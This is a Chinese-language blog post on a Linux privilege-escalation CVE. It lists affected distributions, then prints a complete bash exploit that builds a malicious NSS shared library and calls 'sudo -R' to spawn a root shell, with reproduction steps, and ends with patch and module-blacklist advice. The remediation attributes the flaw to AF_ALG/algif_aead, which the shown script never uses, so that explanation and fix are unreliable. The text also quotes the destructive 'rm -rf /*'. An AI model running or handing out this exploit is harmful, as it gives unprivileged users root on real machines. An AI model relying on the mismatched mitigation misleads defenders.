CVE-2026-31431漏洞
hello 各位
最近工作太忙了,很久没更新博客了
想不到都2026年了,Linux还能出这么爆冷的安全漏洞,而且这个漏洞涵盖了很多Linux发行版本
这漏洞有点牛逼,2017 年至 2026-03-31 之间的几乎所有主流 Linux 内核与发行版,只要内核在下面区间就受影响:
当然,号称华为自主研发的Openeuler Linux也没能幸免,因为跟随国家战略,基本上很多厂家都从原来的centos系列换成华为的欧拉了,但是实际上行内人士基本上都看得出来是centos套的壳子
- Ubuntu
Ubuntu 18.04 LTS
Ubuntu 20.04 LTS
Ubuntu 22.04 LTS
Ubuntu 24.04 LTS - Debian
Debian 11(bullseye,内核 5.10.x)
Debian 12(bookworm,内核 6.1.x) - RHEL / CentOS / Rocky / Alma / Oracle
RHEL 8
RHEL 9
RHEL 10(含 10.1)
CentOS 8
Rocky Linux 8 / 9 / 10
AlmaLinux 8 / 9
Oracle Linux 8 / 9 - SUSE
SUSE Linux Enterprise 15
SUSE Linux Enterprise 16(已验证 6.12 内核) - 云厂商 Linux
Amazon Linux 2
Amazon Linux 2023(已验证 6.18.8)
Alibaba Cloud Linux
TencentOS Server - 其他社区发行版
Fedora(34–40,对应 5.x~6.17)
Arch Linux(滚动内核,大部分 5.x/6.x 受影响)
openEuler 22.03 / 24.03
Manjaro、EndeavourOS 等基于 Arch 的发行版
漏洞原理
总结:普通账号,不用密码、不用特殊权限,直接干到 Root 最高管理员权限。
玩过网络安全的朋友们都知道,想尽一切办法让上传成功的paylod能成功连上自己的反弹shell只是第一步
最重要的还是提权!
如果还是不清楚这是什么意思,这样说,最早期我们的手机可以刷机,需要root权限,因为安卓系统也是基于Linux
拿到root权限以后,完全就可以变成板砖了,一点办法都没有....
相比Windows ,Linux在“忠诚”这一层面,狠起来自己都可以删自己,这也流传了这样一个经典
rm -rf /*
漏洞复现
准备环境
Linux:
[orange@Orange ~]$ cat /etc/os-release
NAME="openEuler"
VERSION="24.03 (LTS-SP2)"
ID="openEuler"
VERSION_ID="24.03"
PRETTY_NAME="openEuler 24.03 (LTS-SP2)"
ANSI_COLOR="0;31"
漏洞脚本
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi
# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
该漏洞代码已经在GitHub上开源了,链接:CVE-2026-31431
环境准备
useradd orange #创建orange账号
passwd orange #修改orange登录密码
vim /home/orange/abc.sh #在orange的家目录创建abc.sh,再将上面的代码复制进去
chmod 777 abc.sh #赋予abc.sh最高权限
su - orange #切换orange账号 或 直接重新ssh使用orange账号登录

根据以上图片,能看出使用orange账号登录进入,并查看abc.sh脚本可执行
复现
sh abc.sh 或 ./abc.sh 都可以

讲真的,当时我自己第一次复现的时候,我人都麻了....
因为我自己的云服务器很多都是欧拉或者ubuntu系列的
随后我还真拿到我的云服务器上跑了一下,也成功了,虽然也需要通过普通账号进来,但是这也是一个很严重的突破口!
漏洞修复
总共分为两个方案,一个需重启一个不重启方案。
因为一些厂家服务器不允许重新或者当下不能重启
方案一【需重启】:更新系统版本内核
① Ubuntu / Debian 系列
# 更新软件源
apt update
# 全量升级内核+系统补丁
apt upgrade -y
# 重启生效
reboot
② CentOS 7 / 8 / 9、Rocky、Alma、欧拉 openEuler
yum update -y
# 或 dnf(新版系统)
dnf update -y
reboot
方案二【无需重启】:禁用 AF_ALG 加密套接字(漏洞必用组件)
# 临时禁用,立刻生效
modprobe -r algif_aead
# 永久禁用,重启也不加载
echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist.conf
原理:该漏洞必须依赖 AF_ALG 加密接口才能构造恶意流量,直接卸载拉黑,EXP 直接跑不起来。
检查漏洞是否修复
1、查看当前内核版本
uname -r
核对:
<6.18.23 → 还在高危
≥6.18.23 → 已修复
2、检测漏洞依赖模块是否存在
lsmod | grep algif_aead
无输出 = 已禁用,临时防护生效
Linux CVE-2026-31431漏洞演示与修复